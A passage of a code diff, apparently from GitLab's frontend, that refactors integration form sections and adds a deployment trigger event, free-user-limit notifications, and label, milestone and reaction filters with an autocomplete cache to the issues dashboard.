@@ -57,7 +57,11 @@ const apolloProvider = new VueApollo({
defaultClient,
});
-export default function mountImportProjectsTable(mountElement) {
+export default function mountImportProjectsTable({
+ mountElement,
+ Component = ImportProjectsTable,
+ extraProps = () => ({}),
+}) {
if (!mountElement) return undefined;
const store = initStoreFromElement(mountElement);
@@ -68,7 +72,7 @@ export default function mountImportProjectsTable(mountElement) {
store,
apolloProvider,
render(createElement) {
- return createElement(ImportProjectsTable, { props });
+ return createElement(Component, { props: { ...props, ...extraProps(mountElement.dataset) } });
},
});
}
diff --git a/app/assets/javascripts/init_diff_stats_dropdown.js b/app/assets/javascripts/init_diff_stats_dropdown.js
index 27df761a103..8413fe92f89 100644
--- a/app/assets/javascripts/init_diff_stats_dropdown.js
+++ b/app/assets/javascripts/init_diff_stats_dropdown.js
@@ -4,7 +4,7 @@ import { stickyMonitor } from './lib/utils/sticky';
export const initDiffStatsDropdown = (stickyTop) => {
if (stickyTop) {
- stickyMonitor(document.querySelector('.js-diff-files-changed'), stickyTop);
+ stickyMonitor(document.querySelector('.js-diff-files-changed'), stickyTop, false);
}
const el = document.querySelector('.js-diff-stats-dropdown');
diff --git a/app/assets/javascripts/integrations/constants.js b/app/assets/javascripts/integrations/constants.js
index 392dd63b089..b956bdf067d 100644
--- a/app/assets/javascripts/integrations/constants.js
+++ b/app/assets/javascripts/integrations/constants.js
@@ -52,6 +52,7 @@ export const integrationTriggerEvents = {
TAG_PUSH: 'tag_push_events',
PIPELINE: 'pipeline_events',
WIKI_PAGE: 'wiki_page_events',
+ DEPLOYMENT: 'deployment_events',
};
export const integrationTriggerEventTitles = {
@@ -72,6 +73,9 @@ export const integrationTriggerEventTitles = {
[integrationTriggerEvents.TAG_PUSH]: s__('IntegrationEvents|A tag is pushed to the repository'),
[integrationTriggerEvents.PIPELINE]: s__('IntegrationEvents|A pipeline status changes'),
[integrationTriggerEvents.WIKI_PAGE]: s__('IntegrationEvents|A wiki page is created or updated'),
+ [integrationTriggerEvents.DEPLOYMENT]: s__(
+ 'IntegrationEvents|A deployment is started or finished',
+ ),
};
export const billingPlans = {
diff --git a/app/assets/javascripts/integrations/edit/components/integration_form.vue b/app/assets/javascripts/integrations/edit/components/integration_form.vue
index d86e6326f64..1e58b604bf7 100644
--- a/app/assets/javascripts/integrations/edit/components/integration_form.vue
+++ b/app/assets/javascripts/integrations/edit/components/integration_form.vue
@@ -1,5 +1,5 @@
<script>
-import { GlAlert, GlBadge, GlButton, GlForm } from '@gitlab/ui';
+import { GlAlert, GlForm } from '@gitlab/ui';
import axios from 'axios';
import * as Sentry from '@sentry/browser';
import { mapState, mapActions, mapGetters } from 'vuex';
@@ -10,8 +10,6 @@ import {
I18N_DEFAULT_ERROR_MESSAGE,
I18N_SUCCESSFUL_CONNECTION_MESSAGE,
INTEGRATION_FORM_TYPE_SLACK,
- integrationFormSectionComponents,
- billingPlanNames,
} from '~/integrations/constants';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
import csrf from '~/lib/utils/csrf';
@@ -21,6 +19,7 @@ import ActiveCheckbox from './active_checkbox.vue';
import DynamicField from './dynamic_field.vue';
import OverrideDropdown from './override_dropdown.vue';
import TriggerFields from './trigger_fields.vue';
+import IntegrationFormSection from './integration_forms/section.vue';
import IntegrationFormActions from './integration_form_actions.vue';
export default {
@@ -31,29 +30,8 @@ export default {
TriggerFields,
DynamicField,
IntegrationFormActions,
- IntegrationSectionConfiguration: () =>
- import(
- /* webpackChunkName: 'integrationSectionConfiguration' */ '~/integrations/edit/components/sections/configuration.vue'
- ),
- IntegrationSectionConnection: () =>
- import(
- /* webpackChunkName: 'integrationSectionConnection' */ '~/integrations/edit/components/sections/connection.vue'
- ),
- IntegrationSectionJiraIssues: () =>
- import(
- /* webpackChunkName: 'integrationSectionJiraIssues' */ '~/integrations/edit/components/sections/jira_issues.vue'
- ),
- IntegrationSectionJiraTrigger: () =>
- import(
- /* webpackChunkName: 'integrationSectionJiraTrigger' */ '~/integrations/edit/components/sections/jira_trigger.vue'
- ),
- IntegrationSectionTrigger: () =>
- import(
- /* webpackChunkName: 'integrationSectionTrigger' */ '~/integrations/edit/components/sections/trigger.vue'
- ),
+ IntegrationFormSection,
GlAlert,
- GlBadge,
- GlButton,
GlForm,
},
directives: {
@@ -120,9 +98,6 @@ export default {
},
methods: {
...mapActions(['setOverride', 'requestJiraIssueTypes']),
- fieldsForSection(section) {
- return this.propsSource.fields.filter((field) => field.section === section.type);
- },
form() {
return this.$refs.integrationForm.$el;
},
@@ -189,23 +164,21 @@ export default {
this.isResetting = false;
});
},
- onRequestJiraIssueTypes() {
- this.requestJiraIssueTypes(this.getFormData());
- },
getFormData() {
return new FormData(this.form());
},
onToggleIntegrationState(integrationActive) {
this.integrationActive = integrationActive;
},
+ onRequestJiraIssueTypes() {
+ this.requestJiraIssueTypes(this.getFormData());
+ },
},
helpHtmlConfig: {
ADD_TAGS: ['use'], // to support icon SVGs
FORBID_ATTR: [], // This is trusted input so we can override the default config to allow data-* attributes
},
csrf,
- integrationFormSectionComponents,
- billingPlanNames,
slackUpgradeInfo: {
title: s__(
`SlackIntegration|Update to the latest version of GitLab for Slack to get notifications`,
@@ -280,42 +253,15 @@ export default {
</div>
<template v-if="hasSections">
- <div
+ <integration-form-section
v-for="(section, index) in customState.sections"
:key="section.type"
+ :section="section"
+ :is-validated="isValidated"
:class="{ 'gl-border-b gl-pb-3 gl-mb-6': index !== customState.sections.length - 1 }"
- data-testid="integration-section"
- >
- <section class="gl-lg-display-flex">
- <div class="gl-flex-basis-third gl-mr-4">
- <h4 class="gl-mt-0">
- {{ section.title
- }}<gl-badge
- v-if="section.plan"
- :href="propsSource.aboutPricingUrl"
- target="_blank"
- rel="noopener noreferrer"
- variant="tier"
- icon="license"
- class="gl-ml-3"
- >
- {{ $options.billingPlanNames[section.plan] }}
- </gl-badge>
- </h4>
- <p v-safe-html="section.description"></p>
- </div>
-
- <div class="gl-flex-basis-two-thirds">
- <component
- :is="$options.integrationFormSectionComponents[section.type]"
- :fields="fieldsForSection(section)"
- :is-validated="isValidated"
- @toggle-integration-active="onToggleIntegrationState"
- @request-jira-issue-types="onRequestJiraIssueTypes"
- />
- </div>
- </section>
- </div>
+ @toggle-integration-active="onToggleIntegrationState"
+ @request-jira-issue-types="onRequestJiraIssueTypes"
+ />
</template>
<section v-if="hasFieldsWithoutSection" class="gl-lg-display-flex gl-justify-content-end">
diff --git a/app/assets/javascripts/integrations/edit/components/integration_forms/section.vue b/app/assets/javascripts/integrations/edit/components/integration_forms/section.vue
new file mode 100644
index 00000000000..ce39954735a
--- /dev/null
+++ b/app/assets/javascripts/integrations/edit/components/integration_forms/section.vue
@@ -0,0 +1,90 @@
+<script>
+import { GlBadge } from '@gitlab/ui';
+import { mapGetters } from 'vuex';
+import SafeHtml from '~/vue_shared/directives/safe_html';
+import { integrationFormSectionComponents, billingPlanNames } from '~/integrations/constants';
+
+export default {
+ name: 'IntegrationFormSection',
+ components: {
+ GlBadge,
+ IntegrationSectionConfiguration: () =>
+ import(
+ /* webpackChunkName: 'integrationSectionConfiguration' */ '~/integrations/edit/components/sections/configuration.vue'
+ ),
+ IntegrationSectionConnection: () =>
+ import(
+ /* webpackChunkName: 'integrationSectionConnection' */ '~/integrations/edit/components/sections/connection.vue'
+ ),
+ IntegrationSectionJiraIssues: () =>
+ import(
+ /* webpackChunkName: 'integrationSectionJiraIssues' */ '~/integrations/edit/components/sections/jira_issues.vue'
+ ),
+ IntegrationSectionJiraTrigger: () =>
+ import(
+ /* webpackChunkName: 'integrationSectionJiraTrigger' */ '~/integrations/edit/components/sections/jira_trigger.vue'
+ ),
+ IntegrationSectionTrigger: () =>
+ import(
+ /* webpackChunkName: 'integrationSectionTrigger' */ '~/integrations/edit/components/sections/trigger.vue'
+ ),
+ },
+ directives: {
+ SafeHtml,
+ },
+ props: {
+ section: {
+ type: Object,
+ required: true,
+ },
+ isValidated: {
+ type: Boolean,
+ required: true,
+ },
+ },
+ computed: {
+ ...mapGetters(['propsSource']),
+ },
+ methods: {
+ fieldsForSection(section) {
+ return this.propsSource.fields.filter((field) => field.section === section.type);
+ },
+ },
+ billingPlanNames,
+ integrationFormSectionComponents,
+};
+</script>
+<template>
+ <section class="gl-lg-display-flex">
+ <div class="gl-flex-basis-third gl-mr-4">
+ <h4 class="gl-mt-0">
+ {{ section.title
+ }}<gl-badge
+ v-if="section.plan"
+ :href="propsSource.aboutPricingUrl"
+ target="_blank"
+ rel="noopener noreferrer"
+ variant="tier"
+ icon="license"
+ class="gl-ml-3"
+ >
+ {{ $options.billingPlanNames[section.plan] }}
+ </gl-badge>
+ </h4>
+ <p v-safe-html="section.description"></p>
+ </div>
+
+ <div
+ v-if="$options.integrationFormSectionComponents[section.type]"
+ class="gl-flex-basis-two-thirds"
+ >
+ <component
+ :is="$options.integrationFormSectionComponents[section.type]"
+ :fields="fieldsForSection(section)"
+ :is-validated="isValidated"
+ @toggle-integration-active="$emit('toggle-integration-active', $event)"
+ @request-jira-issue-types="$emit('request-jira-issue-types', $event)"
+ />
+ </div>
+ </section>
+</template>
diff --git a/app/assets/javascripts/integrations/edit/components/sections/trigger.vue b/app/assets/javascripts/integrations/edit/components/sections/trigger.vue
index 9af5070d4cf..00546671aa7 100644
--- a/app/assets/javascripts/integrations/edit/components/sections/trigger.vue
+++ b/app/assets/javascripts/integrations/edit/components/sections/trigger.vue
@@ -15,11 +15,12 @@ export default {
</script>
<template>
- <div>
+ <div data-testid="trigger-fields-group">
<trigger-field
v-for="event in propsSource.triggerEvents"
:key="`${currentKey}-trigger-fields-${event.name}`"
:event="event"
+ :type="propsSource.type"
class="gl-mb-3"
/>
</div>
diff --git a/app/assets/javascripts/integrations/edit/components/trigger_field.vue b/app/assets/javascripts/integrations/edit/components/trigger_field.vue
index dc5ae2f3a3d..57753c61587 100644
--- a/app/assets/javascripts/integrations/edit/components/trigger_field.vue
+++ b/app/assets/javascripts/integrations/edit/components/trigger_field.vue
@@ -1,13 +1,17 @@
<script>
-import { GlFormCheckbox } from '@gitlab/ui';
+import { GlFormCheckbox, GlFormInput } from '@gitlab/ui';
import { mapGetters } from 'vuex';
-import { integrationTriggerEventTitles } from '~/integrations/constants';
+import {
+ placeholderForType,
+ integrationTriggerEventTitles,
+} from 'any_else_ce/integrations/constants';
export default {
name: 'TriggerField',
components: {
GlFormCheckbox,
+ GlFormInput,
},
props: {
event: {
@@ -15,10 +19,15 @@ export default {
required: false,
default: () => ({}),
},
+ type: {
+ type: String,
+ required: true,
+ },
},
data() {
return {
value: false,
+ fieldValue: this.event.field?.value,
};
},
computed: {
@@ -26,9 +35,15 @@ export default {
name() {
return `service[${this.event.name}]`;
},
+ fieldName() {
+ return `service[${this.event.field?.name}]`;
+ },
title() {
return integrationTriggerEventTitles[this.event.name];
},
+ defaultPlaceholder() {
+ return placeholderForType[this.type];
+ },
},
mounted() {
this.value = this.event.value || false;
@@ -42,5 +57,15 @@ export default {
<gl-form-checkbox v-model="value" :disabled="isInheriting">
{{ title }}
</gl-form-checkbox>
+ <div class="gl-ml-6">
+ <gl-form-input
+ v-if="event.field"
+ v-show="value"
+ v-model="fieldValue"
+ :name="fieldName"
+ :placeholder="event.field.placeholder || defaultPlaceholder"
+ :readonly="isInheriting"
+ />
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/invite_members/components/invite_members_modal.vue b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
index fbb547c28ff..fa1aa6b0d88 100644
--- a/app/assets/javascripts/invite_members/components/invite_members_modal.vue
+++ b/app/assets/javascripts/invite_members/components/invite_members_modal.vue
@@ -18,8 +18,6 @@ import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
import { getParameterValues } from '~/lib/utils/url_utility';
import { n__, sprintf } from '~/locale';
import {
- CLOSE_TO_LIMIT_VARIANT,
- REACHED_LIMIT_VARIANT,
USERS_FILTER_ALL,
INVITE_MEMBERS_FOR_TASK,
MEMBER_MODAL_LABELS,
@@ -189,10 +187,10 @@ export default {
return this.source === LEARN_GITLAB;
},
showUserLimitNotification() {
- return this.usersLimitDataset.reachedLimit || this.usersLimitDataset.closeToDashboardLimit;
+ return !isEmpty(this.usersLimitDataset.alertVariant);
},
limitVariant() {
- return this.usersLimitDataset.reachedLimit ? REACHED_LIMIT_VARIANT : CLOSE_TO_LIMIT_VARIANT;
+ return this.usersLimitDataset.alertVariant;
},
errorList() {
return Object.entries(this.invalidMembers).map(([member, error]) => {
@@ -479,6 +477,7 @@ export default {
</gl-alert>
<user-limit-notification
v-else-if="showUserLimitNotification"
+ class="gl-mb-5"
:limit-variant="limitVariant"
:users-limit-dataset="usersLimitDataset"
/>
diff --git a/app/assets/javascripts/invite_members/components/user_limit_notification.vue b/app/assets/javascripts/invite_members/components/user_limit_notification.vue
index 515dd3de319..1d061a4b81e 100644
--- a/app/assets/javascripts/invite_members/components/user_limit_notification.vue
+++ b/app/assets/javascripts/invite_members/components/user_limit_notification.vue
@@ -1,14 +1,18 @@
<script>
import { GlAlert, GlSprintf, GlLink } from '@gitlab/ui';
import { n__, sprintf } from '~/locale';
+import { helpPagePath } from '~/helpers/help_page_helper';
import {
+ INFO_ALERT_TITLE,
WARNING_ALERT_TITLE,
DANGER_ALERT_TITLE,
REACHED_LIMIT_UPGRADE_SUGGESTION_MESSAGE,
REACHED_LIMIT_VARIANT,
CLOSE_TO_LIMIT_MESSAGE,
CLOSE_TO_LIMIT_VARIANT,
+ NOTIFICATION_LIMIT_MESSAGE,
+ NOTIFICATION_LIMIT_VARIANT,
} from '../constants';
export default {
@@ -28,6 +32,15 @@ export default {
computed: {
limitAttributes() {
return {
+ [NOTIFICATION_LIMIT_VARIANT]: {
+ variant: 'info',
+ title: this.notificationTitle(
+ INFO_ALERT_TITLE,
+ this.name,
+ this.usersLimitDataset.freeUsersLimit,
+ ),
+ message: this.message(NOTIFICATION_LIMIT_MESSAGE, this.usersLimitDataset.freeUsersLimit),
+ },
[CLOSE_TO_LIMIT_VARIANT]: {
variant: 'warning',
title: this.title(WARNING_ALERT_TITLE, this.usersLimitDataset.remainingSeats),
@@ -42,6 +55,13 @@ export default {
},
},
methods: {
+ notificationTitle(titleTemplate, namespaceName, dashboardLimit) {
+ return sprintf(titleTemplate, {
+ namespaceName,
+ dashboardLimit,
+ });
+ },
+
title(titleTemplate, count) {
return sprintf(titleTemplate, {
count,
@@ -49,7 +69,14 @@ export default {
name: this.name,
});
},
+
+ message(messageTemplate, dashboardLimit) {
+ return sprintf(messageTemplate, {
+ dashboardLimit,
+ });
+ },
},
+ freeUserLimitHelpPath: helpPagePath('user/free_user_limit'),
};
</script>
@@ -60,6 +87,11 @@ export default {
:title="limitAttributes[limitVariant].title"
>
<gl-sprintf :message="limitAttributes[limitVariant].message">
+ <template #freeUserLimitLink="{ content }">
+ <gl-link :href="$options.freeUserLimitHelpPath" class="gl-label-link">{{
+ content
+ }}</gl-link>
+ </template>
<template #trialLink="{ content }">
<gl-link
:href="usersLimitDataset.newTrialRegistrationPath"
diff --git a/app/assets/javascripts/invite_members/constants.js b/app/assets/javascripts/invite_members/constants.js
index a894eb24d38..edc0ebff083 100644
--- a/app/assets/javascripts/invite_members/constants.js
+++ b/app/assets/javascripts/invite_members/constants.js
@@ -139,6 +139,9 @@ export const GROUP_MODAL_LABELS = {
export const LEARN_GITLAB = 'learn_gitlab';
export const ON_SHOW_TRACK_LABEL = 'over_limit_modal_viewed';
+export const INFO_ALERT_TITLE = s__(
+ 'InviteMembersModal|Your top-level group %{namespaceName} is over the %{dashboardLimit} user limit.',
+);
export const WARNING_ALERT_TITLE = s__(
'InviteMembersModal|You only have space for %{count} more %{members} in %{name}',
);
@@ -148,17 +151,22 @@ export const DANGER_ALERT_TITLE = s__(
export const REACHED_LIMIT_VARIANT = 'reached';
export const CLOSE_TO_LIMIT_VARIANT = 'close';
+export const NOTIFICATION_LIMIT_VARIANT = 'notification';
export const REACHED_LIMIT_MESSAGE = s__(
- 'InviteMembersModal|To invite new users to this namespace, you must remove existing users. You can still add existing namespace users.',
+ 'InviteMembersModal|To invite new users to this top-level group, you must remove existing users. You can still add existing users from the top-level group, including any subgroups and projects.',
);
export const REACHED_LIMIT_UPGRADE_SUGGESTION_MESSAGE = REACHED_LIMIT_MESSAGE.concat(
s__(
- 'InviteMembersModal| To get more members, the owner of this namespace can %{trialLinkStart}start a trial%{trialLinkEnd} or %{upgradeLinkStart}upgrade%{upgradeLinkEnd} to a paid tier.',
+ 'InviteMembersModal| To get more members, the owner of this top-level group can %{trialLinkStart}start a trial%{trialLinkEnd} or %{upgradeLinkStart}upgrade%{upgradeLinkEnd} to a paid tier.',
),
);
export const CLOSE_TO_LIMIT_MESSAGE = s__(
'InviteMembersModal|To get more members an owner of the group can %{trialLinkStart}start a trial%{trialLinkEnd} or %{upgradeLinkStart}upgrade%{upgradeLinkEnd} to a paid tier.',
);
+
+export const NOTIFICATION_LIMIT_MESSAGE = s__(
+ 'InviteMembersModal|GitLab will enforce this limit in the future. If you are over %{dashboardLimit} users when enforcement begins, your top-level group will be placed in a %{freeUserLimitLinkStart}read-only state%{freeUserLimitLinkEnd}. To avoid being placed in a read-only state, reduce your top-level group to %{dashboardLimit} users or less, or purchase a paid tier.',
+);
diff --git a/app/assets/javascripts/issuable/components/issuable_header_warnings.vue b/app/assets/javascripts/issuable/components/issuable_header_warnings.vue
index 543dca0afe1..14325d6b64e 100644
--- a/app/assets/javascripts/issuable/components/issuable_header_warnings.vue
+++ b/app/assets/javascripts/issuable/components/issuable_header_warnings.vue
@@ -1,11 +1,16 @@
<script>
import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { mapGetters } from 'vuex';
-import { __ } from '~/locale';
+import { sprintf, __ } from '~/locale';
import { IssuableType, WorkspaceType } from '~/issues/constants';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import ConfidentialityBadge from '~/vue_shared/components/confidentiality_badge.vue';
+const NoteableTypeText = {
+ issue: __('issue'),
+ merge_request: __('merge request'),
+};
+
export default {
WorkspaceType,
IssuableType,
@@ -40,7 +45,9 @@ export default {
iconName: 'spam',
visible: this.hidden,
dataTestId: 'hidden',
- tooltip: __('This issue is hidden because its author has been banned'),
+ tooltip: sprintf(__('This %{issuable} is hidden because its author has been banned'), {
+ issuable: NoteableTypeText[this.getNoteableData.targetType],
+ }),
},
];
},
diff --git a/app/assets/javascripts/issuable/components/related_issuable_item.vue b/app/assets/javascripts/issuable/components/related_issuable_item.vue
index fd55f05e955..c815c7aaba9 100644
--- a/app/assets/javascripts/issuable/components/related_issuable_item.vue
+++ b/app/assets/javascripts/issuable/components/related_issuable_item.vue
@@ -135,7 +135,6 @@ export default {
<gl-link
:href="computedPath"
class="sortable-link gl-font-weight-normal"
- target="_blank"
@click="handleTitleClick"
>
{{ title }}
diff --git a/app/assets/javascripts/issuable/issuable_form.js b/app/assets/javascripts/issuable/issuable_form.js
index e8ba99e0e9e..99a3f76ca76 100644
--- a/app/assets/javascripts/issuable/issuable_form.js
+++ b/app/assets/javascripts/issuable/issuable_form.js
@@ -47,13 +47,12 @@ function getFallbackKey() {
}
export default class IssuableForm {
- static addAutosave(map, id, $input, searchTerm, fallbackKey) {
- if ($input.length) {
- map.set(
- id,
- new Autosave($input, [document.location.pathname, searchTerm, id], `${fallbackKey}=${id}`),
- );
- }
+ static addAutosave(map, id, element, searchTerm, fallbackKey) {
+ if (!element) return;
+ map.set(
+ id,
+ new Autosave(element, [document.location.pathname, searchTerm, id], `${fallbackKey}=${id}`),
+ );
}
constructor(form) {
@@ -122,28 +121,28 @@ export default class IssuableForm {
IssuableForm.addAutosave(
autosaveMap,
'title',
- this.form.find('input[name*="[title]"]'),
+ this.form.find('input[name*="[title]"]').get(0),
this.searchTerm,
this.fallbackKey,
);
IssuableForm.addAutosave(
autosaveMap,
'description',
- this.form.find('textarea[name*="[description]"]'),
+ this.form.find('textarea[name*="[description]"]').get(0),
this.searchTerm,
this.fallbackKey,
);
IssuableForm.addAutosave(
autosaveMap,
'confidential',
- this.form.find('input:checkbox[name*="[confidential]"]'),
+ this.form.find('input:checkbox[name*="[confidential]"]').get(0),
this.searchTerm,
this.fallbackKey,
);
IssuableForm.addAutosave(
autosaveMap,
'due_date',
- this.form.find('input[name*="[due_date]"]'),
+ this.form.find('input[name*="[due_date]"]').get(0),
this.searchTerm,
this.fallbackKey,
);
diff --git a/app/assets/javascripts/issues/dashboard/components/issues_dashboard_app.vue b/app/assets/javascripts/issues/dashboard/components/issues_dashboard_app.vue
index b9d876ef72f..8edc9a08c9e 100644
--- a/app/assets/javascripts/issues/dashboard/components/issues_dashboard_app.vue
+++ b/app/assets/javascripts/issues/dashboard/components/issues_dashboard_app.vue
@@ -30,20 +30,35 @@ import { __ } from '~/locale';
import {
TOKEN_TITLE_ASSIGNEE,
TOKEN_TITLE_AUTHOR,
+ TOKEN_TITLE_LABEL,
+ TOKEN_TITLE_MILESTONE,
+ TOKEN_TITLE_MY_REACTION,
TOKEN_TYPE_ASSIGNEE,
TOKEN_TYPE_AUTHOR,
+ TOKEN_TYPE_LABEL,
+ TOKEN_TYPE_MILESTONE,
+ TOKEN_TYPE_MY_REACTION,
} from '~/vue_shared/components/filtered_search_bar/constants';
import IssuableList from '~/vue_shared/issuable/list/components/issuable_list_root.vue';
import { IssuableListTabs, IssuableStates } from '~/vue_shared/issuable/list/constants';
+import { AutocompleteCache } from '../utils';
const UserToken = () => import('~/vue_shared/components/filtered_search_bar/tokens/user_token.vue');
+const EmojiToken = () =>
+ import('~/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue');
+const LabelToken = () =>
+ import('~/vue_shared/components/filtered_search_bar/tokens/label_token.vue');
+const MilestoneToken = () =>
+ import('~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue');
export default {
i18n: {
calendarButtonText: __('Subscribe to calendar'),
closed: __('CLOSED'),
closedMoved: __('CLOSED (MOVED)'),
- emptyStateTitle: __('Please select at least one filter to see results'),
+ emptyStateWithFilterTitle: __('Sorry, your filter produced no results'),
+ emptyStateWithFilterDescription: __('To widen your search, change or remove filters above'),
+ emptyStateWithoutFilterTitle: __('Please select at least one filter to see results'),
errorFetchingIssues: __('An error occurred while loading issues'),
rssButtonText: __('Subscribe to RSS feed'),
searchInputPlaceholder: __('Search or filter results...'),
@@ -60,8 +75,12 @@ export default {
GlTooltip: GlTooltipDirective,
},
inject: [
+ 'autocompleteAwardEmojisPath',
'calendarPath',
- 'emptyStateSvgPath',
+ 'dashboardLabelsPath',
+ 'dashboardMilestonesPath',
+ 'emptyStateWithFilterSvgPath',
+ 'emptyStateWithoutFilterSvgPath',
'hasBlockedIssuesFeature',
'hasIssuableHealthStatusFeature',
'hasIssueWeightsFeature',
@@ -117,6 +136,9 @@ export default {
this.issuesError = this.$options.i18n.errorFetchingIssues;
Sentry.captureException(error);
},
+ skip() {
+ return !this.hasSearch;
+ },
debounce: 200,
},
},
@@ -124,6 +146,25 @@ export default {
apiFilterParams() {
return convertToApiParams(this.filterTokens);
},
+ emptyStateDescription() {
+ return this.hasSearch ? this.$options.i18n.emptyStateWithFilterDescription : undefined;
+ },
+ emptyStateSvgPath() {
+ return this.hasSearch
+ ? this.emptyStateWithFilterSvgPath
+ : this.emptyStateWithoutFilterSvgPath;
+ },
+ emptyStateTitle() {
+ return this.hasSearch
+ ? this.$options.i18n.emptyStateWithFilterTitle
+ : this.$options.i18n.emptyStateWithoutFilterTitle;
+ },
+ hasSearch() {
+ return Boolean(this.searchQuery || Object.keys(this.urlFilterParams).length);
+ },
+ renderedIssues() {
+ return this.hasSearch ? this.issues : [];
+ },
searchQuery() {
return convertToSearchQuery(this.filterTokens);
},
@@ -159,12 +200,46 @@ export default {
preloadedUsers,
recentSuggestionsStorageKey: 'dashboard-issues-recent-tokens-author',
},
+ {
+ type: TOKEN_TYPE_LABEL,
+ title: TOKEN_TITLE_LABEL,
+ icon: 'labels',
+ token: LabelToken,
+ fetchLabels: this.fetchLabels,
+ recentSuggestionsStorageKey: 'dashboard-issues-recent-tokens-label',
+ },
+ {
+ type: TOKEN_TYPE_MILESTONE,
+ title: TOKEN_TITLE_MILESTONE,
+ icon: 'clock',
+ token: MilestoneToken,
+ fetchMilestones: this.fetchMilestones,
+ recentSuggestionsStorageKey: 'dashboard-issues-recent-tokens-milestone',
+ shouldSkipSort: true,
+ },
];
+ if (this.isSignedIn) {
+ tokens.push({
+ type: TOKEN_TYPE_MY_REACTION,
+ title: TOKEN_TITLE_MY_REACTION,
+ icon: 'thumb-up',
+ token: EmojiToken,
+ unique: true,
+ fetchEmojis: this.fetchEmojis,
+ recentSuggestionsStorageKey: 'dashboard-issues-recent-tokens-my_reaction',
+ });
+ }
+
+ tokens.sort((a, b) => a.title.localeCompare(b.title));
+
return tokens;
},
showPaginationControls() {
- return this.issues.length > 0 && (this.pageInfo.hasNextPage || this.pageInfo.hasPreviousPage);
+ return (
+ this.renderedIssues.length > 0 &&
+ (this.pageInfo.hasNextPage || this.pageInfo.hasPreviousPage)
+ );
},
sortOptions() {
return getSortOptions({
@@ -185,7 +260,34 @@ export default {
};
},
},
+ created() {
+ this.autocompleteCache = new AutocompleteCache();
+ },
methods: {
+ fetchEmojis(search) {
+ return this.autocompleteCache.fetch({
+ url: this.autocompleteAwardEmojisPath,
+ cacheName: 'emojis',
+ searchProperty: 'name',
+ search,
+ });
+ },
+ fetchLabels(search) {
+ return this.autocompleteCache.fetch({
+ url: this.dashboardLabelsPath,
+ cacheName: 'labels',
+ searchProperty: 'title',
+ search,
+ });
+ },
+ fetchMilestones(search) {
+ return this.autocompleteCache.fetch({
+ url: this.dashboardMilestonesPath,
+ cacheName: 'milestones',
+ searchProperty: 'title',
+ search,
+ });
+ },
fetchUsers(search) {
return axios.get('/-/autocomplete/users.json', { params: { active: true, search } });
},
@@ -266,7 +368,7 @@ export default {
:has-scoped-labels-feature="hasScopedLabelsFeature"
:initial-filter-value="filterTokens"
:initial-sort-by="sortKey"
- :issuables="issues"
+ :issuables="renderedIssues"
:issuables-loading="$apollo.queries.issues.loading"
namespace="dashboard"
recent-searches-storage-key="issues"
@@ -307,7 +409,11 @@ export default {
</template>
<template #empty-state>
- <gl-empty-state :svg-path="emptyStateSvgPath" :title="$options.i18n.emptyStateTitle" />
+ <gl-empty-state
+ :description="emptyStateDescription"
+ :svg-path="emptyStateSvgPath"
+ :title="emptyStateTitle"
+ />
</template>
</issuable-list>
</template>
diff --git a/app/assets/javascripts/issues/dashboard/index.js b/app/assets/javascripts/issues/dashboard/index.js
index e3e5cc614cb..005ab5ce3b0 100644
--- a/app/assets/javascripts/issues/dashboard/index.js
+++ b/app/assets/javascripts/issues/dashboard/index.js
@@ -14,8 +14,12 @@ export function mountIssuesDashboardApp() {
Vue.use(VueApollo);
const {
+ autocompleteAwardEmojisPath,
calendarPath,
- emptyStateSvgPath,
+ dashboardLabelsPath,
+ dashboardMilestonesPath,
+ emptyStateWithFilterSvgPath,
+ emptyStateWithoutFilterSvgPath,
hasBlockedIssuesFeature,
hasIssuableHealthStatusFeature,
hasIssueWeightsFeature,
@@ -33,8 +37,12 @@ export function mountIssuesDashboardApp() {
defaultClient: createDefaultClient(),
}),
provide: {
+ autocompleteAwardEmojisPath,
calendarPath,
- emptyStateSvgPath,
+ dashboardLabelsPath,
+ dashboardMilestonesPath,
+ emptyStateWithFilterSvgPath,
+ emptyStateWithoutFilterSvgPath,
hasBlockedIssuesFeature: parseBoolean(hasBlockedIssuesFeature),
hasIssuableHealthStatusFeature: parseBoolean(hasIssuableHealthStatusFeature),
hasIssueWeightsFeature: parseBoolean(hasIssueWeightsFeature),
diff --git a/app/assets/javascripts/issues/dashboard/queries/get_issues.query.graphql b/app/assets/javascripts/issues/dashboard/queries/get_issues.query.graphql
index 8ffcb456755..43b8804108c 100644
--- a/app/assets/javascripts/issues/dashboard/queries/get_issues.query.graphql
+++ b/app/assets/javascripts/issues/dashboard/queries/get_issues.query.graphql
@@ -7,8 +7,14 @@ query getDashboardIssues(
$search: String
$sort: IssueSort
$state: IssuableState
+ $assigneeId: String
$assigneeUsernames: [String!]
$authorUsername: String
+ $labelName: [String]
+ $milestoneTitle: [String]
+ $milestoneWildcardId: MilestoneWildcardId
+ $myReactionEmoji: String
+ $not: NegatedIssueFilterInput
$afterCursor: String
$beforeCursor: String
$firstPageSize: Int
@@ -18,8 +24,14 @@ query getDashboardIssues(
search: $search
sort: $sort
state: $state
+ assigneeId: $assigneeId
assigneeUsernames: $assigneeUsernames
authorUsername: $authorUsername
+ labelName: $labelName
+ milestoneTitle: $milestoneTitle
+ milestoneWildcardId: $milestoneWildcardId
+ myReactionEmoji: $myReactionEmoji
+ not: $not
after: $afterCursor
before: $beforeCursor
first: $firstPageSize
diff --git a/app/assets/javascripts/issues/dashboard/utils.js b/app/assets/javascripts/issues/dashboard/utils.js
new file mode 100644
index 00000000000..6fa95b38649
--- /dev/null
+++ b/app/assets/javascripts/issues/dashboard/utils.js
@@ -0,0 +1,23 @@
+import fuzzaldrinPlus from 'fuzzaldrin-plus';
+import { MAX_LIST_SIZE } from '~/issues/list/constants';
+import axios from '~/lib/utils/axios_utils';
+
+export class AutocompleteCache {
+ constructor() {
+ this.cache = {};
+ }
+
+ fetch({ url, cacheName, searchProperty, search }) {
+ if (this.cache[cacheName]) {
+ const data = search
+ ? fuzzaldrinPlus.filter(this.cache[cacheName], search, { key: searchProperty })
+ : this.cache[cacheName].slice(0, MAX_LIST_SIZE);
+ return Promise.resolve(data);
+ }
+
+ return axios.get(url).then(({ data }) => {
+ this.cache[cacheName] = data;
